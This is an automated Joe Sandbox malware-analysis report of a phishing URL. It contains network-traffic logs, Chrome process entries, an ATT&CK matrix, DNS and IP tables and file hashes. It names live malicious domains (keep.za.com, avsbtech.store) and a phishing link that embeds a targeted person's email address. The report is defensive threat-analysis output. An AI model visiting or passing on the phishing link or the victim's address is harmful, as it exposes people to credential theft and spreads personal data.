      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49877
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49998
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49876
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49997
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49875
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49996
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49874
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49995
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49873
      Source: unknownNetwork traffic detected: HTTP traffic on port 49923 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49994
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49872
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
      Source: unknownNetwork traffic detected: HTTP traffic on port 50016 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
      Source: unknownNetwork traffic detected: HTTP traffic on port 49818 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49871
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49992
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49870
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49991
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49990
      Source: unknownNetwork traffic detected: HTTP traffic on port 49786 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49874 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49829 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49934 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50027 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49869
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49868
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49989
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49867
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49988
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49866
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49987
      Source: unknownNetwork traffic detected: HTTP traffic on port 50013 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50036 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50059 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49826 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49906 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49849 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49900 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49837 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49975 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50060 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49929 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49872 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50025 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49964 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49798 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49861 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49999 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49918 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49873 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49930 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50001 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49986 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49850 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49963 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49799
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50007
      Source: unknownNetwork traffic detected: HTTP traffic on port 50037 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49798
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50006
      Source: unknownNetwork traffic detected: HTTP traffic on port 50012 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49797
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50009
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49796
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50008
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49795
      Source: unknownNetwork traffic detected: HTTP traffic on port 49952 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
      Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49791
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49790
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50001
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50000
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50003
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50002
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50005
      Source: unknownNetwork traffic detected: HTTP traffic on port 49895 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50004
      Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50048 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49825 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49884 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49907 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49941 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49789
      Source: unknownNetwork traffic detected: HTTP traffic on port 49997 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49859 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49871 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49894 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50003 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49965 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49942 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49977 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49816 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50035 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49919 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49954 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50014 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49988 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49827 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50046 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49848 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49882 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49838 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49976 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49953 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49815 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50047 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49908 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50024 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49860 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49883 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49998 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49931 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50058 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50002 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49920 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50069 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49926 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49949 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50054
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50053
      Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50056
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50055
      Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50058
      Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50057
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50059
      Source: unknownNetwork traffic detected: HTTP traffic on port 49961 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49984 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50022 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50060
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50063
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50062
      Source: unknownNetwork traffic detected: HTTP traffic on port 50045 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49881 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49950 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49996 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50010 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49812 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50065
      Source: unknownNetwork traffic detected: HTTP traffic on port 49858 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50064
      Source: unknownNetwork traffic detected: HTTP traffic on port 50056 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50066
      Source: unknownNetwork traffic detected: HTTP traffic on port 49893 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50069
      Source: unknownNetwork traffic detected: HTTP traffic on port 49915 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49823 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49869 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50009 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50034 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49972 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49834 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50057 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49892 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49904 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49847 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49870 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49983 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49938 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50023 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49811 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50018
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50017
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50019
      Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49951 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49974 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 50032 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50010
      Source: unknownNetwork traffic detected: HTTP traffic on port 49836 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49916 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50012
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50011
      Source: unknownNetwork traffic detected: HTTP traffic on port 50055 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50014
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50013
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50016
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50015
      Source: unknownNetwork traffic detected: HTTP traffic on port 49939 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49845 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49868 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50029
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50028
      Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50021
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50020
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50023
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50022
      Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50025
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50024
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50027
      Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49879 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50026
      Source: unknownNetwork traffic detected: HTTP traffic on port 49985 -> 443
      Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49741 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49743 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49749 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.16:49770 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.16:49987 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49995 version: TLS 1.2
      Source: classification engineClassification label: mal60.phis.troj.win@21/24@32/207
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
      Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1956,i,6581263779815864147,17771507680749106533,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
      Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://keep.za.com/cgi//redirect.php#rbruening@elford.com"
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1956,i,6581263779815864147,17771507680749106533,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
      Source: Window RecorderWindow detected: More than 3 window changes detected

      Data Obfuscation

      barindex
      Source: Yara matchFile source: 2.12..script.csv, type: HTML
      Source: Yara matchFile source: dropped/chromecache_87, type: DROPPED
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
      Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
      Browser Extensions
      1
      Process Injection
      1
      Masquerading
      OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System2
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/Job1
      Registry Run Keys / Startup Folder
      1
      Registry Run Keys / Startup Folder
      1
      Process Injection
      LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Non-Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
      Application Layer Protocol
      Automated ExfiltrationData Encrypted for Impact

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      https://keep.za.com/cgi//redirect.php#rbruening@elford.com0%Avira URL Cloudsafe
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      a.nel.cloudflare.com
      35.190.80.1
      truefalse
        high
        code.jquery.com
        151.101.2.137
        truefalse
          high
          server.linxcoded.store
          185.174.100.20
          truefalse
            unknown
            challenges.cloudflare.com
            104.18.94.41
            truefalse
              high
              avsbtech.store
              66.29.137.28
              truetrue
                unknown
                s-part-0017.t-0009.t-msedge.net
                13.107.246.45
                truefalse
                  high
                  www.google.com
                  142.250.185.196
                  truefalse
                    high
                    api.ipify.org
                    104.26.13.205
                    truefalse
                      high
                      linxcoded.store
                      162.0.229.203
                      truefalse
                        unknown
                        keep.za.com
                        104.21.87.64
                        truetrue
                          unknown
                          _6060._https.server.linxcoded.store
                          unknown
                          unknownfalse
                            unknown
                            NameMaliciousAntivirus DetectionReputation
                            https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.comtrue
                              unknown
                              https://keep.za.com/cgi//redirect.php#rbruening@elford.comfalse
                                unknown
                                • No. of IPs < 25%
                                • 25% < No. of IPs < 50%
                                • 50% < No. of IPs < 75%
                                • 75% < No. of IPs
                                IPDomainCountryFlagASNASN NameMalicious
                                172.67.142.1
                                unknownUnited States
                                13335CLOUDFLARENETUSfalse
                                1.1.1.1
                                unknownAustralia
                                13335CLOUDFLARENETUSfalse
                                104.21.87.64
                                keep.za.comUnited States
                                13335CLOUDFLARENETUStrue
                                13.107.246.45
                                s-part-0017.t-0009.t-msedge.netUnited States
                                8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                104.18.94.41
                                challenges.cloudflare.comUnited States
                                13335CLOUDFLARENETUSfalse
                                185.174.100.20
                                server.linxcoded.storeUkraine
                                8100ASN-QUADRANET-GLOBALUSfalse
                                74.125.71.84
                                unknownUnited States
                                15169GOOGLEUSfalse
                                172.217.23.106
                                unknownUnited States
                                15169GOOGLEUSfalse
                                142.250.181.234
                                unknownUnited States
                                15169GOOGLEUSfalse
                                151.101.2.137
                                code.jquery.comUnited States
                                54113FASTLYUSfalse
                                239.255.255.250
                                unknownReserved
                                unknownunknownfalse
                                142.250.185.196
                                www.google.comUnited States
                                15169GOOGLEUSfalse
                                142.250.185.163
                                unknownUnited States
                                15169GOOGLEUSfalse
                                142.250.185.142
                                unknownUnited States
                                15169GOOGLEUSfalse
                                66.29.137.28
                                avsbtech.storeUnited States
                                19538ADVANTAGECOMUStrue
                                142.250.186.142
                                unknownUnited States
                                15169GOOGLEUSfalse
                                162.0.229.203
                                linxcoded.storeCanada
                                22612NAMECHEAP-NETUSfalse
                                35.190.80.1
                                a.nel.cloudflare.comUnited States
                                15169GOOGLEUSfalse
                                172.217.18.99
                                unknownUnited States
                                15169GOOGLEUSfalse
                                104.26.13.205
                                api.ipify.orgUnited States
                                13335CLOUDFLARENETUSfalse
                                IP
                                192.168.2.16
                                Joe Sandbox version:42.0.0 Malachite
                                Analysis ID:1608754
                                Start date and time:2025-02-06 22:21:19 +01:00
                                Joe Sandbox product:CloudBasic
                                Overall analysis duration:
                                Hypervisor based Inspection enabled:false
                                Report type:full
                                Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                Sample URL:https://keep.za.com/cgi//redirect.php#rbruening@elford.com
                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                Number of analysed new started processes analysed:13
                                Number of new started drivers analysed:0
                                Number of existing processes analysed:0
                                Number of existing drivers analysed:0
                                Number of injected processes analysed:0
                                Technologies:
                                • EGA enabled
                                Analysis Mode:stream
                                Analysis stop reason:Timeout
                                Detection:MAL
                                Classification:mal60.phis.troj.win@21/24@32/207
                                • Exclude process from analysis (whitelisted): svchost.exe
                                • Excluded IPs from analysis (whitelisted): 172.217.18.99, 142.250.185.142, 74.125.71.84, 216.58.206.46, 142.250.184.238
                                • Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
                                • Not all processes where analyzed, report is missing behavior information
                                • VT rate limit hit for: https://keep.za.com/cgi//redirect.php#rbruening@elford.com
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 6 20:21:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2673
                                Entropy (8bit):3.9923433108599564
                                Encrypted:false
                                SSDEEP:
                                MD5:61A9BB70535007C2D0ACFB4D8707548C
                                SHA1:AEA86DBF0F5A56AC7A153D31BD818D491F36E7B0
                                SHA-256:E5D691A3708AD7657C645739E487D3B2AB9A1881E614A79C53760FE7AD01E962
                                SHA-512:936296F7D10E6B8B5C54B5FB294E51EFEF34832BD7E4D29C52CF385C9EF5E545CCC2F9C2A6742A25630ADD13E3B581A9C1A08D9781F3845BC877B53016E4F1BF
                                Malicious:false
                                Reputation:unknown
